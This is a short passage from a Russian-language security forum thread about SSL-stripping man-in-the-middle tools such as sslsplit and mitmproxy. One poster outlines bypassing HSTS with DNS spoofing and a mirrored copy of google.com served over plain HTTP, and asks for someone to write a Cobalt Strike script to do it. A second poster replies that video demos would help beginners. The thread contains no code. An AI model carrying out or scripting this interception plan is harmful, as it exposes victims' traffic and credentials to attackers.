не совсем так. есть sslsplit - продвинутая версия.
Мне понравилась методика mitmproxy - их плагины лежат в папке со скриптами самой программы, а документация есть на офф. ресурсе.

Умирает-ли сама техника? Против нее существует технология HSTS которая, если грубо, отвергает запросы не через HTTPS.
Однако, я думаю, что это можно обойти с помощью DNS спуфинга. Поднять на атакующем ПК зеркальный веб сервер, перехватить запрос клиента, потом отправить запрос клиента со своего пк, к примеру на google.com, получить ответ, и разместить его у себя на сервере. А потом выдать клиенту "зеркало" google.com с помощью http (на http его перенаправить посредством sslsplit).

По идее должно работать. Вопрос только чем сделать такое зеркало?
Кобальт такое умеет, но для одной страницы. Может есть умельцы кто под кобу напишет скрипт?
 
  • Нравится
Реакции: b0d

yky

Green Team
31.12.2019
100
41
BIT
7
Всё конечно хорошо и старо как мир,но думаю видео примеры на живых машинах смотрелось бы интересней для людей только начинающих осваивать это.
 
  • Нравится
Реакции: KRCMRD и Lebunrte
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!